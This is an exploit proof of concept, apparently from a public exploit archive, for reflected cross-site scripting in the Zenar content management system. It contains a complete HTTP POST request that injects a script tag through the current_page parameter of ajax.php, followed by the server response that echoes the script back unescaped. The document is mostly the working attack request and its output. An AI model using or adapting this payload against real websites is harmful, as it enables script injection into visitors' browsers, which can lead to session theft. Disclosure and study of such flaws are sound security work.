Zenar Content Management System - Cross-Site Scripting

# Exploit Title: Zenar Content Management System - Cross-Site Scripting
# Software Link: https://zenar.io/
# Dork: N/A
# Author: Berk Dusunur
# Tested Website: http://demo.zenar.io
# Date: 2018-05-20
# Category: Web App

# PoC

# GET Request:

POST /zenario/ajax.php?method_call=refreshPlugin&inIframe=true HTTP/1.1
Host: demo.zenar.io
Cache-Control: no-cache
Connection: Keep-Alive
Accept: text/plain, */*; q=0.01
Origin: http://demo.zenar.io
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://demo.zenar.io/enquiries/newsletter-sign-up
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: PHPSESSID=27pdf3fd0plfnarmh5edk5es33
Accept-Encoding: gzip, deflate
Content-Length: 273
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

cID=25&slideId=3&cType=html&slotName=Slot_Main_2&instanceId=143&containerId=plgslt_Slot_Main_2&formPageHash=35263a7d5401cb22f77e67fb50fcdd99&reloaded=1&inFullScreen=3&field_14=netsparker%40example.com&current_page='"--></style></scRipt><scRipt>alert(EZK)</scRipt>

# Response:

<input type="hidden" name="formPageHash"
value="35263a7d5401cb22f77e67fb50fcdd99"/><input type="hidden"
name="reloaded" value="1"/><input type="hidden" name="inFullScreen"
value="1"/><fieldset
id="plgslt_Slot_Main_2_page_'"--></style></scRipt><scRipt>alert(EZK)</scRipt>"
class="page_"><div class="form_fields"></div><div
class="form_buttons"><input type="button" value=""
class="next"/></div>